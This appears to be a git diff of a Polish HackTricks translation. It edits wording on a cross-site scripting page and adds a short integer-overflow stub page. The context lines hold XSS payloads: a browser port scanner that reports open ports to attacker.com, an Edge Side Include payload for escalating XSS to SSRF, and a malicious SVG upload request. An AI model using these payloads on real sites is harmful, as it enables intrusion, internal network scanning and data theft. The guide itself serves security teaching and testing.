||||
```
|
||||
### Znajdź wewnętrzne adresy IP
|
||||
### Znajdowanie wewnętrznych adresów IP
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
@ -1148,7 +1159,7 @@ q.shift()();
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Skaner portów (fetch)
|
||||
### Skaner portów (pobierz)
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
|
@ -1167,9 +1178,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_Krótkie czasy wskazują na port odpowiadający_ _Dłuższe czasy wskazują na brak odpowiedzi._
|
||||
_Krótkie czasy wskazują na port odpowiadający_ _Dłuższe czasy wskazują brak odpowiedzi._
|
||||
|
||||
Sprawdź listę zablokowanych portów w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Przejrzyj listę zablokowanych portów w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) oraz w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Pole do wprowadzenia danych uwierzytelniających
|
||||
```markup
|
||||
|
@ -1311,7 +1322,7 @@ Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może
|
|||
|
||||
### XSS do SSRF
|
||||
|
||||
Masz XSS na **stronie korzystającej z pamięci podręcznej**? Spróbuj **zaktualizować to do SSRF** poprzez Wstrzyknięcie Include Edge Side z tym ładunkiem:
|
||||
Masz XSS na **stronie korzystającej z pamięci podręcznej**? Spróbuj **zaktualizować to do SSRF** poprzez wstrzyknięcie kodu Edge Side Include za pomocą tego payloadu:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1339,11 +1350,11 @@ AMP, mający na celu przyspieszenie wydajności strony internetowej na urządzen
|
|||
|
||||
Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza konkretne komponenty AMP na maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w swoich mailach.
|
||||
|
||||
Przykładowy [**opis XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Przykład [**opisu XSS w Amp4Email w Gmailu**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS wgrywający pliki (svg)
|
||||
|
||||
Wgraj jako obraz plik o następującej zawartości (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Wgraj jako obraz plik podobny do poniższego (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -1415,7 +1426,7 @@ Znajdź **więcej ładunków SVG w** [**https://github.com/allanlw/svg-cheatshee
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
|
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
31
pentesting-web/xss-cross-site-scripting/integer-overflow.md
Normal file
|
@ -0,0 +1,31 @@
|
|||
# Przepełnienie liczby całkowitej
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Sprawdź:
|
||||
|
||||
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
|
||||
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Add table
Reference in a new issue